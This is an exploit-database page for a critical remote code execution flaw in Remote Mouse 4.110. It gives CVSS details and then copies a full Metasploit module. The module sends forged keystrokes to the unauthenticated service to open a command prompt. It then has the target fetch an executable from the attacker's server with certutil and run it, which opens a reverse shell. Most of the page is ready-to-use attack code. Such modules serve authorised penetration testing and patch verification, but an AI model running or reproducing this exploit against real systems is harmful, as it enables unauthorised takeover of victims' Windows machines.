Remote Mouse 4.110 Remote Code Execution
CVE
Category
Price
Severity
CWE-Other
Not specified
Critical
Author
Risk
Exploitation Type
Date
Not specified
High
Remote
2022-10-05
CPE
cpe:cpe:/a:remote_mouse:4.110
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required None PR The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022100019 Below is a copy:
Remote Mouse 4.110 Remote Code Execution ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Exploit::Remote::Tcp
include Exploit::EXE # generate_payload_exe
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Remote Mouse RCE',
'Description' => %q{
This module utilizes the Remote Mouse Server by Emote Interactive protocol
to deploy a payload and run it from the server. This module will only deploy
a payload if the server is set without a password (default).
Tested against 4.110, current at the time of module writing
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'0RPHON', # discovery, edb module
'H4rk3nz0' # poc2
],
'References' => [
[ 'EDB', '46697' ],
[ 'CVE', '2022-3365' ],
[ 'URL', 'https://www.remotemouse.net/' ],
[ 'URL', 'https://github.com/H4rk3nz0/PenTesting/blob/main/Exploits/remote%20mouse/remote-mouse-rce.py' ]
],
'Arch' => [ ARCH_X64, ARCH_X86 ],
'Platform' => 'win',
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' => [
['default', {}],
],
'DefaultOptions' => {
'PAYLOAD' => 'windows/shell/reverse_tcp'
},
'DisclosureDate' => '2019-04-15',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, SCREEN_EFFECTS] # typing on screen
}
)
)
register_options(
[
OptPort.new('RPORT', [true, 'Port Remote Mouse runs on', 1978]),
OptInt.new('SLEEP', [true, 'How long to sleep between commands', 1]),
OptString.new('PATH', [true, 'Where to stage payload for pull method', 'c:\\Windows\\Temp\\'])
]
)
end
def path
return datastore['PATH'] if datastore['PATH'].end_with? '\\'
"#{datastore['PATH']}\\"
end
def key_value(key)
characters = {
'A' => '8[ras]116', 'B' => '8[ras]119', 'C' => '8[ras]118', 'D' => '8[ras]113', 'E' => '8[ras]112',
'F' => '8[ras]115', 'G' => '8[ras]114', 'H' => '8[ras]125', 'I' => '8[ras]124', 'J' => '8[ras]127',
'K' => '8[ras]126', 'L' => '8[ras]121', 'M' => '8[ras]120', 'N' => '8[ras]123', 'O' => '8[ras]122',
'P' => '8[ras]101', 'Q' => '8[ras]100', 'R' => '8[ras]103', 'S' => '8[ras]102', 'T' => '7[ras]97',
'U' => '7[ras]96', 'V' => '7[ras]99', 'W' => '7[ras]98', 'X' => '8[ras]109', 'Y' => '8[ras]108',
'Z' => '8[ras]111',
'a' => '7[ras]84', 'b' => '7[ras]87', 'c' => '7[ras]86', 'd' => '7[ras]81', 'e' => '7[ras]80',
'f' => '7[ras]83', 'g' => '7[ras]82', 'h' => '7[ras]93', 'i' => '7[ras]92', 'j' => '7[ras]95',
'k' => '7[ras]94', 'l' => '7[ras]89', 'm' => '7[ras]88', 'n' => '7[ras]91', 'o' => '7[ras]90',
'p' => '7[ras]69', 'q' => '7[ras]68', 'r' => '7[ras]71', 's' => '7[ras]70', 't' => '7[ras]65',
'u' => '7[ras]64', 'v' => '7[ras]67', 'w' => '7[ras]66', 'x' => '7[ras]77', 'y' => '7[ras]76',
'z' => '7[ras]79',
'1' => '6[ras]4', '2' => '6[ras]7', '3' => '6[ras]6', '4' => '6[ras]1', '5' => '6[ras]0',
'6' => '6[ras]3', '7' => '6[ras]2', '8' => '7[ras]13', '9' => '7[ras]12', '0' => '6[ras]5',
"\n" => '3RTN', "\b" => '3BAS', ' ' => '7[ras]21',
'+' => '7[ras]30', '=' => '6[ras]8', '/' => '7[ras]26', '_' => '8[ras]106', '<' => '6[ras]9',
'>' => '7[ras]11', '[' => '8[ras]110', ']' => '8[ras]104', '!' => '7[ras]20', '@' => '8[ras]117',
'#' => '7[ras]22', '$' => '7[ras]17', '%' => '7[ras]16', '^' => '8[ras]107', '&' => '7[ras]19',
'*' => '7[ras]31', '(' => '7[ras]29', ')' => '7[ras]28', '-' => '7[ras]24', "'" => '7[ras]18',
'"' => '7[ras]23', ':' => '7[ras]15', ';' => '7[ras]14', '?' => '7[ras]10', '`' => '7[ras]85',
'~' => '7[ras]75', '\\' => '8[ras]105', '|' => '7[ras]73', '{' => '7[ras]78', '}' => '7[ras]72',
',' => '7[ras]25', '.' => '7[ras]27'
}
"key #{characters[key]}"
end
def windows_key
'key 3cmd'
end
def check
connect
response = sock.get_once
disconnect
if response.include?('SIN 15win nop nop')
splits = response.split(' ')
return CheckCode::Appears("Received handshake with version: #{splits.last}")
end
CheckCode::Unknown('Invalid response from target')
end
def send_command(command)
if command == windows_key
sock.put(command)
elsif (command == "\n") || (command == "\b") # dont split this up
sock.put(key_value(c))
else
command.each_char do |c|
sock.put(key_value(c))
end
sock.put(key_value("\n"))
end
sleep(datastore['SLEEP'])
end
def on_request_uri(cli, _req)
p = generate_payload_exe
send_response(cli, p)
print_good("Payload request received, sending #{p.length} bytes of payload for staging")
end
def exploit
connect
print_status('Connecting')
print_status('Sending Windows key')
send_command(windows_key)
print_status('Opening command prompt')
send_command('cmd.exe')
send_command('') # https://github.com/rapid7/metasploit-framework/pull/17067#discussion_r982670440
print_status('Sending stager')
filename = Rex::Text.rand_text_alphanumeric(rand(8..17)) + '.exe'
register_file_for_cleanup("#{path}#{filename}")
# I attempted to put this all in one, stage, run, exit, but it was never successful, so we'll keep it in 2
stager = "certutil.exe -urlcache -f http://#{datastore['lhost']}:#{datastore['SRVPORT']}/ #{path}#{filename}"
start_service('Path' => '/') # start webserver
send_command(stager)
send_command('') # https://github.com/rapid7/metasploit-framework/pull/17067#discussion_r982670440
print_status('Executing payload')
send_command("#{path}#{filename} && exit")
send_command('') # https://github.com/rapid7/metasploit-framework/pull/17067#discussion_r982670440
handler
disconnect
sleep(datastore['SLEEP'] * 2) # give time for it to do its thing before we revert
end
end
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